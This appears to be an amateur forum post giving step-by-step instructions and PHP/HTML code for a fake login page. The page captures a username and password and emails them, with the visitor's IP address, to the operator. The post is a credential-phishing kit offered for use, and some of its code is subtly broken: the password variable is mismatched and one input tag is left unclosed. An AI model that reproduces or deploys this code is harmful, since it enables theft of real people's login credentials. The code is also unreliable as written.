Ok, upload the following code as form.PHP to your webserver.
Code:
Please enter your username and password.</center>
<form action="mail.php" method="POST">
Username: <input type="text" name="name" size="20">
Password: <input type="text" name="password" size="20"
<input type="submit" name="submit" value="Submit">
</form>
Then upload the following code as mail.PHP to your webserver.
**make sure to put
Your email address in the fieldS where it says
you@you.com**
Code:
<?php
$to = "YOU@YOU.com";
/* subject fields*/
$subject = "username and password";
$from = $_POST[name];
$email = $_POST[password];
$ip = getenv("REMOTE_ADDR");
$user = getenv("HTTP_USER_AGENT");
/* message in html format */
$message = "
<html>Username: $from
Password: $password
User IP Address: $ip
</html>";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: Whatever address\r\n";
$headers .= "To: You <YOU@YOU.com>\r\n";
$headers .= "Name: $_POST[name]\r\n";
mail($to, $subject, $message, $headers) or die("Can not send mail right now, please try later!");
?>
Your email has been sent
Goto /form.php of your domain.
Put some text in the boxes and press the submit button.
Check your email.
Arrange the text boxes around as you wish, after you get it working.
Also i dont know how to make the password text appear as ****** when your typing in the password, you should check google for that.
Thank shan for the code, i only modified it.